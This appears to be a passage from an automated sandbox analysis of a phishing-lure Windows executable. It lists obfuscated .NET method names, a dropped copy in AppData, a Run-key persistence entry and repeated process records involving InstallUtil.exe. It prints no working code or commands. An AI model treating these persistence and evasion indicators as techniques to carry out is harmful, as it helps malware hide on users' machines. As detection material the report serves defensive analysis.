Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, EjU8RrP7WYhkQPMDp3K.cs	High entropy of concatenated method names: 'I10PYAWVSn', 'i3IXYls43wXgqKoylIO', 'sXoZthsX7nRvBqKIP8f', 'gq5O2jsLiefwlefmnIJ', 'rBFbbIsjSGJ2r7RYL33', 'sYGXSPspOiqSZVxl9hw', 'oh7HZcsqgipfSN8U433', 'SEav4bsVToYgaTqjrKZ', 'bC1vDr2kgPCBFQhheM8', 'LYcRJv2zb7Gc2AVqYpk'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, VAugF3aiNmxtSjgqUa1.cs	High entropy of concatenated method names: 'glfanpBMiL', 'uOPawRodRe', 'Kl60UoFyJVIpmaMLrOi', 'YJojRpFbxOH26gyUT5J', 'nZJnXGFklnHb7K9jbik', 'xpY2qVFz1FoROtAEnms', 're0eLmU4VdWIDcJVsqk', 'fjmM12UXbnEgsxnF3Fr', 'h4q76eULef4HdgikxPV', 'YvTNb4UjJV9sjgjmmMd'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, MLoZuhaDvZAqoaI65l2.cs	High entropy of concatenated method names: 'lU9aNZndLV', 'KTicXCFR0KZYeo0olRK', 'MeqOfeFtvR1jLc84AfA', 'aIdHyiFg30DFHoGsjYD', 'i9dUYiFOP0cyD4UqSww', 'fsJNcXFxpM4byOaK7qL', 'NBlcudFe6DhXeGV5x0i', 'uHHX0BFmdGZVZ0yvJhI'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, CmtwiWadDLChEtUXqqp.cs	High entropy of concatenated method names: 'BUTabC5AWR', 'wtaakdRgJk', 'fUiP4VW26L', 'cP4yyG2Ze70851I3ER0', 'LrliAg2JGdMj8VfiYFj', 'ceSAlc2NPg89tLGK5nu', 'pxtxER2BwK4QxuoSVqX', 'XEVmCs2HSQJDl0nUHeL'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, CggNYUa5rSGKEPDBahl.cs	High entropy of concatenated method names: 'JmtaC7766R', 'JCjcIYFGq6ChCMt11R3', 'Ls0aQZFhbGEPNN5UuNX', 'KmOYatFfo0cfdLwjcO3', 'khesrCF9NYOr1cZQqCU', 'AAd0dMFApFGonJqr4Hx', 'oKQaJoFM4JvLUvBT1KB', 'nG0aLKFE9Hwr14Fw8Wm', 'c9BORvFQccql0khjAmZ', 'YnQyfBFKpkN2IN4cBj4'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, zhgEEmah4Tokbnc2K5v.cs	High entropy of concatenated method names: 'k8Xa9EHu3a', 'gZhaM28cAn', 'z44aAXUoCD', 'cqO0n02vW7MgjNOkm3W', 'sPAVpo27HdZ1lUPt9xt', 'tBmJuh26gcxdK2U2uqo', 'wIBtiG2lSrhds6ipX5G', 'v0E4e12SbIpANeZflGE', 'fNaY5n2YeknIxehjrTp', 'KX3miS2TuQQQWw9b3JY'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, c4NYreaQ7ruyRbNVyYI.cs	High entropy of concatenated method names: 'IMFaGnRjhW', 'MkNjZ72Vn9JPs1ZiSQo', 'uc5PF5237jJ7pXdaXIL', 'DwmycU21lJLBwXnGM0b', 'ifh5Dm2au538RMjYvDU', 'qryNb62plK9pf9YiLLN', 'JMglW72qHtte2DLyvnD'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, D8lG7AaIVmtrNqjgEGn.cs	High entropy of concatenated method names: 'GeWaFklf5N', 'SLT98cUnFUDo66IurJF', 'Q9BI3oUwnscEfkbcewu', 'HHclJLUIKBBSMkeRAFt', 'rWwsbiUWMJkX76wHehu', 'kYjV0vUFT9AvLN3hKKf', 'fYXbESUUYpZZ6OqrEFW', 'Eq2327U27XnZKX9Ic7N', 'uoGnKRUi1WlVowDuGLB', 'bZJSMXU8JpnBogp1UO5'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, Vv3JBgqCrcMO6BUi9HH.cs	High entropy of concatenated method names: 'g0Iq83UnwP', 'dbrqnRbywW', 'F8WqwCUXv1', 'p0FqIaJ4Ak', 't5aqWnpTb4', 'IluO50whoYpFWyUk2nS', 'h269IswfSEGtKRi1dga', 'KRcpFcw9aqd2ArU2QOn', 'eoJurfwAvDCZtMdZZuN', 'cuqkTIwMVSc2yq9bXdE'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, S9NKJeaUZZ6gpKOSMiv.cs	High entropy of concatenated method names: 'A6tamtNgLg', 'fduaRjc2Rd', 'o3aasiwrLk', 'BKBaePLLNS', 'HaTRhEUR4xjvpqgYPcm', 'jJ8X4wUtfyUqDRUw5p5', 'NXtaeKUgychCnSR8Rie', 'JhHE7ZUO5ZE9Ed29Qym', 'dugMiVUxD6kObG0McuL', 'm2xFSWUokxiDor41eSj'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, vXmvU15gDUWAJphStg.cs	High entropy of concatenated method names: 'ok0CBNwod', 'WsZivnPGo', 'FpHnlUpQi', 'PI68uqKwf', 'Ms04SR8kvdL7gI3CR7Q', 'jkGbd68zBV2XTqKvUa3', 'XEFKnZn4EBHkn4EsyCe', 'g2UBDk8y4o1AEnGjqjL', 'r3x8no8bXyj2udVu5O9', 'Rjs7ebnXdq8pHmoSBHW'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, lOPQPcViOpPXCosc4bJ.cs	High entropy of concatenated method names: 'n3IVUVTfeF', 'cJ2uvBWxumRBQY2gCJE', 'PTZ9eyWgbu2CC1KAPOa', 'vaqifIWOlnl4kAN5UJ8', 'oqEeyRW2Tm4J4OoDEKo', 'hoGrnNWs8yj10t1YPpF'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, Gqfrh5VJhZISS6rJnaN.cs	High entropy of concatenated method names: 'RtlInitUnicodeString', 'LdrLoadDll', 'RtlZeroMemory', 'NtQueryInformationProcess', 'rT0VZfMBok', 'NtProtectVirtualMemory', 'LFJZ1gWiNtxaPgs03nt', 'yKPyRNW8IiXDTbOK19D', 'rNGYriWuRnddapUpTJm', 'trarFUWCfJQkqdaBqOv'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, z1QJOsl9E2n03chvqxN.cs	High entropy of concatenated method names: 'NhgJDU9MH2', 'WSmJJLFdyc', 'u7KJNbLQiX', 'c2eJZAvPwi', 'Wg0JBbkfbO', 'SbdJHExlqI', 'RGmJ57syvU', 'syMvTnkIXH', 'zc0Juo7h5V', 'lIuJCNyG7x'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, LfOAbsqFWHYwCprfEjf.cs	High entropy of concatenated method names: 'F9Iq229Xvm', 'ra9qs7F7W9', 'FChqe3PSY2', 'DANIFDIIplod7lMaoi3', 'qkYyRnInCWH0tkENrvr', 'zRKF1IIwSKDvKNObc6K', 'jY9vnZIWaxIWpKRZPlV', 'VOoTP0IFb55pHo9ejGH', 'ex9iiLIULsUMlkMdKNI', 'ARleqdI22FKhiJIRmWV'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, mhuaUUPPen6ybxPOonB.cs	High entropy of concatenated method names: 'UkcPlE0fwY', 'GHjPvtNkZT', 'rlo7Tb2grPfLTpScChr', 'rOtLYj2RvlNOAWeqrFT', 'IN6X5E2tSXmRhHd3Ma4', 'OYViA42O2grvqnfKQM2', 'iwC3Pi2x0Ze7yD778wB', 'SAA7wh2oRAgC8MZGB9E', 'PZXeU6201WTlDO5jOdr', 'uFZV5k2rUZeKSK8BlXv'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, Kgc7Pdv5xC0rTy0Uva.cs	High entropy of concatenated method names: 'LreYWS6oa', 'XiHTQUReY', 'qqOJWFRXx', 'CW6NjHqX9', 'qDZSjGIk6', 'doYliA8KhFgbpcWNCfI', 'S05sSD8G3CpBfhOxawM', 'KuRSFm8h5dus0a9GXSs', 'd9wH798fTqFTbMNy3wE', 'R6kSMD89K2qBfPysxDA'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, g36spvPwU0M3Ss1qIRI.cs	High entropy of concatenated method names: 'vEoklPeZCspQeEH19sJ', 'zYrPZ2eBM96LOnZbt9e', 'lCblpVxkZd', 'GZFJlseCXd33yblNA9t', 'r5fOZJei0VaS8ZiMHE5', 'akDTnre8CDmbwK3MySa', 'Lu7tGwenBEfiLC0fELs', 'RpdLFUewBmuSoeGgwq3', 'uikwVWeIyxoJG58U1ED', 'P0VH0CeWAUseh1k7k60'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, SANZmvLDF4grS6FTrZ2.cs	High entropy of concatenated method names: 'A5GLNdrVlc', 'hll7OrnWitjbqpfw7Rw', 'WwCehKnFtZIbx5slFRS', 'L5qky4nUt96ZVw7LsTZ', 'hI0eatn2JxcZRAacM7b', 'h26suFnsfqXaHV4V7EC', 'Bug9F3nesxndXq3IPcK', 'VFD5pBnmmuOyjAupMVy', 'pvpf1vnRUlPT7qxfukY', 'XOn21intm8r5IUElpYB'

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

File created: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ptqlzgvzpfa			Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ptqlzgvzpfa			Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
